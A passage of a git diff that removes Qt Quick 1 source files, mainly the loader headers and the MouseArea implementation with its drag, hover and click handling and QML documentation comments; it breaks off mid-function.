-/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVELOADER_H -#define QDECLARATIVELOADER_H - -#include "qdeclarativeimplicitsizeitem_p.h" - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1LoaderPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1Loader : public QDeclarative1ImplicitSizeItem -{ - Q_OBJECT - Q_ENUMS(Status) - - Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged) - Q_PROPERTY(QDeclarativeComponent *sourceComponent READ sourceComponent WRITE setSourceComponent RESET resetSourceComponent NOTIFY sourceChanged) - Q_PROPERTY(QGraphicsObject *item READ item NOTIFY itemChanged) - Q_PROPERTY(Status status READ status NOTIFY statusChanged) - Q_PROPERTY(qreal progress READ progress NOTIFY progressChanged) - -public: - QDeclarative1Loader(QDeclarativeItem *parent=0); - virtual ~QDeclarative1Loader(); - - QUrl source() const; - void setSource(const QUrl &); - - QDeclarativeComponent *sourceComponent() const; - void setSourceComponent(QDeclarativeComponent *); - void resetSourceComponent(); - - enum Status { Null, Ready, Loading, Error }; - Status status() const; - qreal progress() const; - - QGraphicsObject *item() const; - -Q_SIGNALS: - void itemChanged(); - void sourceChanged(); - void statusChanged(); - void progressChanged(); - void loaded(); - -protected: - void geometryChanged(const QRectF &newGeometry, const QRectF &oldGeometry); - QVariant itemChange(GraphicsItemChange change, const QVariant &value); - bool eventFilter(QObject *watched, QEvent *e); - void componentComplete(); - -private: - Q_DISABLE_COPY(QDeclarative1Loader) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1Loader) - Q_PRIVATE_SLOT(d_func(), void _q_sourceLoaded()) - Q_PRIVATE_SLOT(d_func(), void _q_updateSize()) -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1Loader) - -QT_END_HEADER - -#endif // QDECLARATIVELOADER_H diff --git a/src/qtquick1/graphicsitems/qdeclarativeloader_p_p.h b/src/qtquick1/graphicsitems/qdeclarativeloader_p_p.h deleted file mode 100644 index 8f59800e52..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeloader_p_p.h +++ /dev/null @@ -1,91 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVELOADER_P_H -#define QDECLARATIVELOADER_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "private/qdeclarativeloader_p.h" - -#include "QtQuick1/private/qdeclarativeimplicitsizeitem_p_p.h" -#include "QtQuick1/private/qdeclarativeitemchangelistener_p.h" - -QT_BEGIN_NAMESPACE - -class QDeclarativeContext; -class QDeclarative1LoaderPrivate : public QDeclarative1ImplicitSizeItemPrivate, public QDeclarativeItemChangeListener -{ - Q_DECLARE_PUBLIC(QDeclarative1Loader) - -public: - QDeclarative1LoaderPrivate(); - ~QDeclarative1LoaderPrivate(); - - void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry); - void clear(); - void initResize(); - void load(); - - QUrl source; - QGraphicsObject *item; - QDeclarativeComponent *component; - bool ownComponent : 1; - bool updatingSize: 1; - bool itemWidthValid : 1; - bool itemHeightValid : 1; - - void _q_sourceLoaded(); - void _q_updateSize(bool loaderGeometryChanged = true); -}; - -QT_END_NAMESPACE - -#endif // QDECLARATIVELOADER_P_H diff --git a/src/qtquick1/graphicsitems/qdeclarativemousearea.cpp b/src/qtquick1/graphicsitems/qdeclarativemousearea.cpp deleted file mode 100644 index 37cdbfb4ee..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativemousearea.cpp +++ /dev/null @@ -1,1014 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativemousearea_p.h" -#include "QtQuick1/private/qdeclarativemousearea_p_p.h" - -#include "QtQuick1/private/qdeclarativeevents_p_p.h" - -#include - -#include - -QT_BEGIN_NAMESPACE - - -static const int PressAndHoldDelay = 800; - -QDeclarative1Drag::QDeclarative1Drag(QObject *parent) -: QObject(parent), _target(0), _axis(XandYAxis), _xmin(-FLT_MAX), _xmax(FLT_MAX), _ymin(-FLT_MAX), _ymax(FLT_MAX), -_active(false), _filterChildren(false) -{ -} - -QDeclarative1Drag::~QDeclarative1Drag() -{ -} - -QGraphicsObject *QDeclarative1Drag::target() const -{ - return _target; -} - -void QDeclarative1Drag::setTarget(QGraphicsObject *t) -{ - if (_target == t) - return; - _target = t; - emit targetChanged(); -} - -void QDeclarative1Drag::resetTarget() -{ - if (!_target) - return; - _target = 0; - emit targetChanged(); -} - -QDeclarative1Drag::Axis QDeclarative1Drag::axis() const -{ - return _axis; -} - -void QDeclarative1Drag::setAxis(QDeclarative1Drag::Axis a) -{ - if (_axis == a) - return; - _axis = a; - emit axisChanged(); -} - -qreal QDeclarative1Drag::xmin() const -{ - return _xmin; -} - -void QDeclarative1Drag::setXmin(qreal m) -{ - if (_xmin == m) - return; - _xmin = m; - emit minimumXChanged(); -} - -qreal QDeclarative1Drag::xmax() const -{ - return _xmax; -} - -void QDeclarative1Drag::setXmax(qreal m) -{ - if (_xmax == m) - return; - _xmax = m; - emit maximumXChanged(); -} - -qreal QDeclarative1Drag::ymin() const -{ - return _ymin; -} - -void QDeclarative1Drag::setYmin(qreal m) -{ - if (_ymin == m) - return; - _ymin = m; - emit minimumYChanged(); -} - -qreal QDeclarative1Drag::ymax() const -{ - return _ymax; -} - -void QDeclarative1Drag::setYmax(qreal m) -{ - if (_ymax == m) - return; - _ymax = m; - emit maximumYChanged(); -} - -bool QDeclarative1Drag::active() const -{ - return _active; -} - -void QDeclarative1Drag::setActive(bool drag) -{ - if (_active == drag) - return; - _active = drag; - emit activeChanged(); -} - -bool QDeclarative1Drag::filterChildren() const -{ - return _filterChildren; -} - -void QDeclarative1Drag::setFilterChildren(bool filter) -{ - if (_filterChildren == filter) - return; - _filterChildren = filter; - emit filterChildrenChanged(); -} - -QDeclarative1MouseAreaPrivate::~QDeclarative1MouseAreaPrivate() -{ - delete drag; -} - -/*! - \qmlclass MouseArea QDeclarative1MouseArea - \inqmlmodule QtQuick 1 - \ingroup qml-basic-interaction-elements - \since QtQuick 1.0 - \brief The MouseArea item enables simple mouse handling. - \inherits Item - - A MouseArea is an invisible item that is typically used in conjunction with - a visible item in order to provide mouse handling for that item. - By effectively acting as a proxy, the logic for mouse handling can be - contained within a MouseArea item. - - For basic key handling, see the \l{Keys}{Keys attached property}. - - The \l enabled property is used to enable and disable mouse handling for - the proxied item. When disabled, the mouse area becomes transparent to - mouse events. - - The \l pressed read-only property indicates whether or not the user is - holding down a mouse button over the mouse area. This property is often - used in bindings between properties in a user interface. The containsMouse - read-only property indicates the presence of the mouse cursor over the - mouse area but, by default, only when a mouse button is held down; see below - for further details. - - Information about the mouse position and button clicks are provided via - signals for which event handler properties are defined. The most commonly - used involved handling mouse presses and clicks: onClicked, onDoubleClicked, - onPressed, onReleased and onPressAndHold. - - By default, MouseArea items only report mouse clicks and not changes to the - position of the mouse cursor. Setting the hoverEnabled property ensures that - handlers defined for onPositionChanged, onEntered and onExited are used and - that the containsMouse property is updated even when no mouse buttons are - pressed. - - \section1 Example Usage - - \div {class="float-right"} - \inlineimage qml-mousearea-snippet.png - \enddiv - - The following example uses a MouseArea in a \l Rectangle that changes - the \l Rectangle color to red when clicked: - - \snippet doc/src/snippets/qtquick1/mousearea/mousearea.qml import - \codeline - \snippet doc/src/snippets/qtquick1/mousearea/mousearea.qml intro - - \clearfloat - Many MouseArea signals pass a \l{MouseEvent}{mouse} parameter that contains - additional information about the mouse event, such as the position, button, - and any key modifiers. - - Here is an extension of the previous example that produces a different - color when the area is right clicked: - - \snippet doc/src/snippets/qtquick1/mousearea/mousearea.qml intro-extended - - \sa MouseEvent, {declarative/touchinteraction/mousearea}{MouseArea example} -*/ - -/*! - \qmlsignal QtQuick1::MouseArea::onEntered() - - This handler is called when the mouse enters the mouse area. - - By default the onEntered handler is only called while a button is - pressed. Setting hoverEnabled to true enables handling of - onEntered when no mouse button is pressed. - - \sa hoverEnabled -*/ - -/*! - \qmlsignal QtQuick1::MouseArea::onExited() - - This handler is called when the mouse exits the mouse area. - - By default the onExited handler is only called while a button is - pressed. Setting hoverEnabled to true enables handling of - onExited when no mouse button is pressed. - - The example below shows a fairly typical relationship between - two MouseAreas, with \c mouseArea2 on top of \c mouseArea1. Moving the - mouse into \c mouseArea2 from \c mouseArea1 will cause \c onExited - to be called for \c mouseArea1. - \qml - Rectangle { - width: 400; height: 400 - MouseArea { - id: mouseArea1 - anchors.fill: parent - hoverEnabled: true - } - MouseArea { - id: mouseArea2 - width: 100; height: 100 - anchors.centerIn: parent - hoverEnabled: true - } - } - \endqml - - If instead you give the two mouseAreas a parent-child relationship, - moving the mouse into \c mouseArea2 from \c mouseArea1 will \b not - cause \c onExited to be called for \c mouseArea1. Instead, they will - both be considered to be simultaneously hovered. - - \sa hoverEnabled -*/ - -/*! - \qmlsignal QtQuick1::MouseArea::onPositionChanged(MouseEvent mouse) - - This handler is called when the mouse position changes. - - The \l {MouseEvent}{mouse} parameter provides information about the mouse, including the x and y - position, and any buttons currently pressed. - - The \e accepted property of the MouseEvent parameter is ignored in this handler. - - By default the onPositionChanged handler is only called while a button is - pressed. Setting hoverEnabled to true enables handling of - onPositionChanged when no mouse button is pressed. -*/ - -/*! - \qmlsignal QtQuick1::MouseArea::onClicked(MouseEvent mouse) - - This handler is called when there is a click. A click is defined as a press followed by a release, - both inside the MouseArea (pressing, moving outside the MouseArea, and then moving back inside and - releasing is also considered a click). - - The \l {MouseEvent}{mouse} parameter provides information about the click, including the x and y - position of the release of the click, and whether the click was held. - - The \e accepted property of the MouseEvent parameter is ignored in this handler. -*/ - -/*! - \qmlsignal QtQuick1::MouseArea::onPressed(MouseEvent mouse) - - This handler is called when there is a press. - The \l {MouseEvent}{mouse} parameter provides information about the press, including the x and y - position and which button was pressed. - - The \e accepted property of the MouseEvent parameter determines whether this MouseArea - will handle the press and all future mouse events until release. The default is to accept - the event and not allow other MouseArea beneath this one to handle the event. If \e accepted - is set to false, no further events will be sent to this MouseArea until the button is next - pressed. -*/ - -/*! - \qmlsignal QtQuick1::MouseArea::onReleased(MouseEvent mouse) - - This handler is called when there is a release. - The \l {MouseEvent}{mouse} parameter provides information about the click, including the x and y - position of the release of the click, and whether the click was held. - - The \e accepted property of the MouseEvent parameter is ignored in this handler. - - \sa onCanceled -*/ - -/*! - \qmlsignal QtQuick1::MouseArea::onPressAndHold(MouseEvent mouse) - - This handler is called when there is a long press (currently 800ms). - The \l {MouseEvent}{mouse} parameter provides information about the press, including the x and y - position of the press, and which button is pressed. - - The \e accepted property of the MouseEvent parameter is ignored in this handler. -*/ - -/*! - \qmlsignal QtQuick1::MouseArea::onDoubleClicked(MouseEvent mouse) - - This handler is called when there is a double-click (a press followed by a release followed by a press). - The \l {MouseEvent}{mouse} parameter provides information about the click, including the x and y - position of the release of the click, and whether the click was held. - - If the \e accepted property of the \l {MouseEvent}{mouse} parameter is set to false - in the handler, the onPressed/onReleased/onClicked handlers will be called for the second - click; otherwise they are suppressed. The accepted property defaults to true. -*/ - -/*! - \qmlsignal QtQuick1::MouseArea::onCanceled() - - This handler is called when mouse events have been canceled, either because an event was not accepted, or - because another element stole the mouse event handling. - - This signal is for advanced use: it is useful when there is more than one MouseArea - that is handling input, or when there is a MouseArea inside a \l Flickable. In the latter - case, if you execute some logic on the pressed signal and then start dragging, the - \l Flickable will steal the mouse handling from the MouseArea. In these cases, to reset - the logic when the MouseArea has lost the mouse handling to the \l Flickable, - \c onCanceled should be used in addition to onReleased. -*/ - -QDeclarative1MouseArea::QDeclarative1MouseArea(QDeclarativeItem *parent) - : QDeclarativeItem(*(new QDeclarative1MouseAreaPrivate), parent) -{ - Q_D(QDeclarative1MouseArea); - d->init(); -} - -QDeclarative1MouseArea::~QDeclarative1MouseArea() -{ -} - -/*! - \qmlproperty real QtQuick1::MouseArea::mouseX - \qmlproperty real QtQuick1::MouseArea::mouseY - These properties hold the coordinates of the mouse cursor. - - If the hoverEnabled property is false then these properties will only be valid - while a button is pressed, and will remain valid as long as the button is held - down even if the mouse is moved outside the area. - - By default, this property is false. - - If hoverEnabled is true then these properties will be valid when: - \list - \i no button is pressed, but the mouse is within the MouseArea (containsMouse is true). - \i a button is pressed and held, even if it has since moved out of the area. - \endlist - - The coordinates are relative to the MouseArea. -*/ -qreal QDeclarative1MouseArea::mouseX() const -{ - Q_D(const QDeclarative1MouseArea); - return d->lastPos.x(); -} - -qreal QDeclarative1MouseArea::mouseY() const -{ - Q_D(const QDeclarative1MouseArea); - return d->lastPos.y(); -} - -/*! - \qmlproperty bool QtQuick1::MouseArea::enabled - This property holds whether the item accepts mouse events. - - By default, this property is true. -*/ -bool QDeclarative1MouseArea::isEnabled() const -{ - Q_D(const QDeclarative1MouseArea); - return d->absorb; -} - -void QDeclarative1MouseArea::setEnabled(bool a) -{ - Q_D(QDeclarative1MouseArea); - if (a != d->absorb) { - d->absorb = a; - emit enabledChanged(); - } -} - -/*! - \qmlproperty bool QtQuick1::MouseArea::preventStealing - \since Quick 1.1 - This property holds whether the mouse events may be stolen from this - MouseArea. - - If a MouseArea is placed within an item that filters child mouse - events, such as Flickable, the mouse - events may be stolen from the MouseArea if a gesture is recognized - by the parent element, e.g. a flick gesture. If preventStealing is - set to true, no element will steal the mouse events. - - Note that setting preventStealing to true once an element has started - stealing events will have no effect until the next press event. - - By default this property is false. -*/ -bool QDeclarative1MouseArea::preventStealing() const -{ - Q_D(const QDeclarative1MouseArea); - return d->preventStealing; -} - -void QDeclarative1MouseArea::setPreventStealing(bool prevent) -{ - Q_D(QDeclarative1MouseArea); - if (prevent != d->preventStealing) { - d->preventStealing = prevent; - setKeepMouseGrab(d->preventStealing && d->absorb); - emit preventStealingChanged(); - } -} - -/*! - \qmlproperty MouseButtons QtQuick1::MouseArea::pressedButtons - This property holds the mouse buttons currently pressed. - - It contains a bitwise combination of: - \list - \o Qt.LeftButton - \o Qt.RightButton - \o Qt.MiddleButton - \endlist - - The code below displays "right" when the right mouse buttons is pressed: - - \snippet doc/src/snippets/qtquick1/mousearea/mousearea.qml mousebuttons - - \sa acceptedButtons -*/ -Qt::MouseButtons QDeclarative1MouseArea::pressedButtons() const -{ - Q_D(const QDeclarative1MouseArea); - return d->lastButtons; -} - -void QDeclarative1MouseArea::mousePressEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1MouseArea); - d->moved = false; - d->stealMouse = d->preventStealing; - if (!d->absorb) - QDeclarativeItem::mousePressEvent(event); - else { - d->longPress = false; - d->saveEvent(event); - if (d->drag) { - d->dragX = drag()->axis() & QDeclarative1Drag::XAxis; - d->dragY = drag()->axis() & QDeclarative1Drag::YAxis; - } - if (d->drag) - d->drag->setActive(false); - setHovered(true); - d->startScene = event->scenePos(); - // we should only start timer if pressAndHold is connected to. - if (d->isPressAndHoldConnected()) - d->pressAndHoldTimer.start(PressAndHoldDelay, this); - setKeepMouseGrab(d->stealMouse); - event->setAccepted(setPressed(true)); - } -} - -void QDeclarative1MouseArea::mouseMoveEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1MouseArea); - if (!d->absorb) { - QDeclarativeItem::mouseMoveEvent(event); - return; - } - - d->saveEvent(event); - - // ### we should skip this if these signals aren't used - // ### can GV handle this for us? - bool contains = boundingRect().contains(d->lastPos); - if (d->hovered && !contains) - setHovered(false); - else if (!d->hovered && contains) - setHovered(true); - - if (d->drag && d->drag->target()) { - if (!d->moved) { - d->startX = drag()->target()->x(); - d->startY = drag()->target()->y(); - } - - QPointF startLocalPos; - QPointF curLocalPos; - if (drag()->target()->parentItem()) { - startLocalPos = drag()->target()->parentItem()->mapFromScene(d->startScene); - curLocalPos = drag()->target()->parentItem()->mapFromScene(event->scenePos()); - } else { - startLocalPos = d->startScene; - curLocalPos = event->scenePos(); - } - - const int dragThreshold = QApplication::startDragDistance(); - qreal dx = qAbs(curLocalPos.x() - startLocalPos.x()); - qreal dy = qAbs(curLocalPos.y() - startLocalPos.y()); - - if (keepMouseGrab() && d->stealMouse) - d->drag->setActive(true); - - if (d->dragX && d->drag->active()) { - qreal x = (curLocalPos.x() - startLocalPos.x()) + d->startX; - if (x < drag()->xmin()) - x = drag()->xmin(); - else if (x > drag()->xmax()) - x = drag()->xmax(); - drag()->target()->setX(x); - } - if (d->dragY && d->drag->active()) { - qreal y = (curLocalPos.y() - startLocalPos.y()) + d->startY; - if (y < drag()->ymin()) - y = drag()->ymin(); - else if (y > drag()->ymax()) - y = drag()->ymax(); - drag()->target()->setY(y); - } - - if (!keepMouseGrab()) { - if ((!d->dragY && dy < dragThreshold && d->dragX && dx > dragThreshold) - || (!d->dragX && dx < dragThreshold && d->dragY && dy > dragThreshold) - || (d->dragX && d->dragY && (dx > dragThreshold || dy > dragThreshold))) { - setKeepMouseGrab(true); - d->stealMouse = true; - } - } - - d->moved = true; - } - QDeclarative1MouseEvent me(d->lastPos.x(), d->lastPos.y(), d->lastButton, d->lastButtons, d->lastModifiers, false, d->longPress); - emit mousePositionChanged(&me); - me.setX(d->lastPos.x()); - me.setY(d->lastPos.y()); - emit positionChanged(&me); -} - - -void QDeclarative1MouseArea::mouseReleaseEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1MouseArea); - d->stealMouse = false; - if (!d->absorb) { - QDeclarativeItem::mouseReleaseEvent(event); - } else { - d->saveEvent(event); - setPressed(false); - if (d->drag) - d->drag->setActive(false); - // If we don't accept hover, we need to reset containsMouse. - if (!acceptHoverEvents()) - setHovered(false); - QGraphicsScene *s = scene(); - if (s && s->mouseGrabberItem() == this) - ungrabMouse(); - setKeepMouseGrab(false); - } - d->doubleClick = false; -} - -void QDeclarative1MouseArea::mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1MouseArea); - if (!d->absorb) { - QDeclarativeItem::mouseDoubleClickEvent(event); - } else { - if (d->isDoubleClickConnected()) - d->doubleClick = true; - d->saveEvent(event); - QDeclarative1MouseEvent me(d->lastPos.x(), d->lastPos.y(), d->lastButton, d->lastButtons, d->lastModifiers, true, false); - me.setAccepted(d->isDoubleClickConnected()); - emit this->doubleClicked(&me); - QDeclarativeItem::mouseDoubleClickEvent(event); - } -} - -void QDeclarative1MouseArea::hoverEnterEvent(QGraphicsSceneHoverEvent *event) -{ - Q_D(QDeclarative1MouseArea); - if (!d->absorb) - QDeclarativeItem::hoverEnterEvent(event); - else { - d->lastPos = event->pos(); - setHovered(true); - QDeclarative1MouseEvent me(d->lastPos.x(), d->lastPos.y(), Qt::NoButton, Qt::NoButton, event->modifiers(), false, false); - emit mousePositionChanged(&me); - } -} - -void QDeclarative1MouseArea::hoverMoveEvent(QGraphicsSceneHoverEvent *event) -{ - Q_D(QDeclarative1MouseArea); - if (!d->absorb) { - QDeclarativeItem::hoverMoveEvent(event); - } else { - d->lastPos = event->pos(); - QDeclarative1MouseEvent me(d->lastPos.x(), d->lastPos.y(), Qt::NoButton, Qt::NoButton, event->modifiers(), false, false); - emit mousePositionChanged(&me); - me.setX(d->lastPos.x()); - me.setY(d->lastPos.y()); - emit positionChanged(&me); - } -} - -void QDeclarative1MouseArea::hoverLeaveEvent(QGraphicsSceneHoverEvent *event) -{ - Q_D(QDeclarative1MouseArea); - if (!d->absorb) - QDeclarativeItem::hoverLeaveEvent(event); - else - setHovered(false); -} - -#ifndef QT_NO_CONTEXTMENU -void QDeclarative1MouseArea::contextMenuEvent(QGraphicsSceneContextMenuEvent *event) -{ - bool acceptsContextMenuButton; -#if defined(Q_WS_WINCE) - // ### WinCE can trigger context menu event with a gesture in the left button or a - // click with the right button. Since we have no way here to differentiate them when - // event happens, accepting either of the them will block the event. - acceptsContextMenuButton = acceptedButtons() & (Qt::LeftButton | Qt::RightButton); -#else - acceptsContextMenuButton = acceptedButtons() & Qt::RightButton; -#endif - - if (isEnabled() && event->reason() == QGraphicsSceneContextMenuEvent::Mouse - && acceptsContextMenuButton) { - // Do not let the context menu event propagate to items behind. - return; - } - - QDeclarativeItem::contextMenuEvent(event); -} -#endif // QT_NO_CONTEXTMENU - -bool QDeclarative1MouseArea::sceneEvent(QEvent *event) -{ - bool rv = QDeclarativeItem::sceneEvent(event); - if (event->type() == QEvent::UngrabMouse) { - Q_D(QDeclarative1MouseArea); - if (d->pressed) { - // if our mouse grab has been removed (probably by Flickable), fix our - // state - d->pressed = false; - d->stealMouse = false; - setKeepMouseGrab(false); - emit canceled(); - emit pressedChanged(); - if (d->hovered) { - d->hovered = false; - emit hoveredChanged(); - } - } - } - return rv; -} - -bool QDeclarative1MouseArea::sendMouseEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1MouseArea); - QGraphicsSceneMouseEvent mouseEvent(event->type()); - QRectF myRect = mapToScene(QRectF(0, 0, width(), height())).boundingRect(); - - QGraphicsScene *s = scene(); - QDeclarativeItem *grabber = s ? qobject_cast(s->mouseGrabberItem()) : 0; - bool stealThisEvent = d->stealMouse; - if ((stealThisEvent || myRect.contains(event->scenePos().toPoint())) && (!grabber || !grabber->keepMouseGrab())) { - mouseEvent.setAccepted(false); - for (int i = 0x1; i <= 0x10; i <<= 1) { - if (event->buttons() & i) { - Qt::MouseButton button = Qt::MouseButton(i); - mouseEvent.setButtonDownPos(button, mapFromScene(event->buttonDownPos(button))); - } - } - mouseEvent.setScenePos(event->scenePos()); - mouseEvent.setLastScenePos(event->lastScenePos()); - mouseEvent.setPos(mapFromScene(event->scenePos())); - mouseEvent.setLastPos(mapFromScene(event->lastScenePos())); - - switch(mouseEvent.type()) { - case QEvent::GraphicsSceneMouseMove: - mouseMoveEvent(&mouseEvent); - break; - case QEvent::GraphicsSceneMousePress: - mousePressEvent(&mouseEvent); - break; - case QEvent::GraphicsSceneMouseRelease: - mouseReleaseEvent(&mouseEvent); - break; - default: - break; - } - grabber = qobject_cast(s->mouseGrabberItem()); - if (grabber && stealThisEvent && !grabber->keepMouseGrab() && grabber != this) - grabMouse(); - - return stealThisEvent; - } - if (mouseEvent.type() == QEvent::GraphicsSceneMouseRelease) { - if (d->pressed) { - d->pressed = false; - d->stealMouse = false; - if (s && s->mouseGrabberItem() == this) - ungrabMouse(); - emit canceled(); - emit pressedChanged(); - if (d->hovered) { - d->hovered = false; - emit hoveredChanged(); - } - } - } - return false; -} - -bool QDeclarative1MouseArea::sceneEventFilter(QGraphicsItem *i, QEvent *e) -{ - Q_D(QDeclarative1MouseArea); - if (!d->absorb || !isVisible() || !d->drag || !d->drag->filterChildren()) - return QDeclarativeItem::sceneEventFilter(i, e); - switch (e->type()) { - case QEvent::GraphicsSceneMousePress: - case QEvent::GraphicsSceneMouseMove: - case QEvent::GraphicsSceneMouseRelease: - return sendMouseEvent(static_cast(e)); - default: - break; - } - - return QDeclarativeItem::sceneEventFilter(i, e); -} - -void QDeclarative1MouseArea::timerEvent(QTimerEvent *event) -{ - Q_D(QDeclarative1MouseArea); - if (event->timerId() == d->pressAndHoldTimer.timerId()) { - d->pressAndHoldTimer.stop(); - bool dragged = d->drag && d->drag->active(); - if (d->pressed && dragged == false && d->hovered == true) { - d->longPress = true; - QDeclarative1MouseEvent me(d->lastPos.x(), d->lastPos.y(), d->lastButton, d->lastButtons, d->lastModifiers, false, d->longPress); - emit pressAndHold(&me); - } - } -} - -void QDeclarative1MouseArea::geometryChanged(const QRectF &newGeometry, - const QRectF &oldGeometry) -{ - Q_D(QDeclarative1MouseArea); - QDeclarativeItem::geometryChanged(newGeometry, oldGeometry); - - if (d->lastScenePos.isNull) - d->lastScenePos = mapToScene(d->lastPos); - else if (newGeometry.x() != oldGeometry.x() || newGeometry.y() != oldGeometry.y()) - d->lastPos = mapFromScene(d->lastScenePos); -} - -QVariant QDeclarative1MouseArea::itemChange(GraphicsItemChange change, - const QVariant &value) -{ - Q_D(QDeclarative1MouseArea); - switch (change) { - case ItemVisibleHasChanged: - if (acceptHoverEvents() && d->hovered != (isVisible() && isUnderMouse())) - setHovered(!d->hovered); - break; - default: - break; - } - - return QDeclarativeItem::itemChange(change, value); -} - -/*! - \qmlproperty bool QtQuick1::MouseArea::hoverEnabled - This property holds whether hover events are handled. - - By default, mouse events are only handled in response to a button event, or when a button is - pressed. Hover enables handling of all mouse events even when no mouse button is - pressed. - - This property affects the containsMouse property and the onEntered, onExited and - onPositionChanged signals. -*/ -bool QDeclarative1MouseArea::hoverEnabled() const -{ - return acceptHoverEvents(); -} - -void QDeclarative1MouseArea::setHoverEnabled(bool h) -{ - Q_D(QDeclarative1MouseArea); - if (h == acceptHoverEvents()) - return; - - setAcceptHoverEvents(h); - emit hoverEnabledChanged(); - if (d->hovered != isUnderMouse()) - setHovered(!d->hovered); -} - -/*! - \qmlproperty bool QtQuick1::MouseArea::containsMouse - This property holds whether the mouse is currently inside the mouse area. - - \warning This property is not updated if the area moves under the mouse: \e containsMouse will not change. - In addition, if hoverEnabled is false, containsMouse will only be valid when the mouse is pressed. -*/ -bool QDeclarative1MouseArea::hovered() const -{ - Q_D(const QDeclarative1MouseArea); - return d->hovered; -} - -/*! - \qmlproperty bool QtQuick1::MouseArea::pressed - This property holds whether the mouse area is currently pressed. -*/ -bool QDeclarative1MouseArea::pressed() const -{ - Q_D(const QDeclarative1MouseArea); - return d->pressed; -} - -void QDeclarative1MouseArea::setHovered(bool h) -{ - Q_D(QDeclarative1MouseArea); - if (d->hovered != h) { - d->hovered = h; - emit hoveredChanged(); - d->hovered ? emit entered() : emit exited(); - } -} - -/*! - \qmlproperty QtQuick1::Qt::MouseButtons MouseArea::acceptedButtons - This property holds the mouse buttons that the mouse area reacts to. - - The available buttons are: - \list - \o Qt.LeftButton - \o Qt.RightButton - \o Qt.MiddleButton - \endlist - - To accept more than one button the flags can be combined with the - "|" (or) operator: - - \code - MouseArea { acceptedButtons: Qt.LeftButton | Qt.RightButton } - \endcode - - The default value is \c Qt.LeftButton. -*/ -Qt::MouseButtons QDeclarative1MouseArea::acceptedButtons() const -{ - return acceptedMouseButtons(); -} - -void 